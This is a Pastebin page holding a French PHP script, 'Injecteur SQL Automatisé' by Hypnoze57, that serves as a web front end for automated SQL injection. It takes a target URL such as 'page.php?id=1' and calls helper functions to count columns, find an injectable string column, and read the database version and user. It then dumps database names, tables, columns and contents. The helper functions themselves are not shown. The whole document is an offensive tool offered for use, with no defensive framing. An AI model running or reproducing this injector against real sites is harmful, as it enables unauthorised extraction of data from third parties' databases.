Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ##############################
- # Injecteur de requettes SQL #
- # Coder par Hypnoze57 #
- ##############################
- session_start();
- set_time_limit(0);
- require_once('fonctions.php');
- $version = 'Beta v0.7';
- echo '<title>Injecteur SQL Automatisé</title><link rel="stylesheet" media="screen" type="text/css" title="Design" href="style.css" />';
- echo '<b><u>Injecteur SQL automatisé version '.$version.'</u></b><br /><br />';
- if (isset($_GET['url']) OR (isset($_GET['db']))) {
- if(!empty($_GET['url'])) {
- if(preg_match('#http://#', $_GET['url'])) {
- $url = htmlentities(urldecode($_GET['url']));
- $url_dep = htmlentities(urldecode($_GET['url']));
- $nb_col = nb_col($url);
- echo 'Nombre de columns : <font color="red">'.$nb_col.'</font><br />';
- $url = str_replace('=', '=-', $url);
- $url = injection($url, $nb_col);
- $str_col = string_col($url, $nb_col);
- echo 'String column valide : <font color="red">'.$str_col.'</font><br />';
- find_vers_user($url, $str_col);
- echo '<u>Bases de données : </u><br /><br />';
- find_db($url, $str_col, $url_dep);
- find_tbl($url, $str_col, $url_dep);
- find_col($url, $str_col, $url_dep);
- find_content($url, $str_col, $url_dep);
- echo '<br />';
- } else {
- echo 'URL Incorrecte ...<br />
- <a href="index.php">Retour à l\'index</a><br />';
- }
- } else {
- echo 'Entrer un lien a injecter ...';
- }
- } else {
- echo '<form action="" method="get">
- URL : <input type="text" name="url" size="50" placeholder="http://site.com/page.php?id=1" value=""><br />
- <input type="submit" value="Inject">
- </form>';
- }
- echo '<br />Coded by Hypnoze57';
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement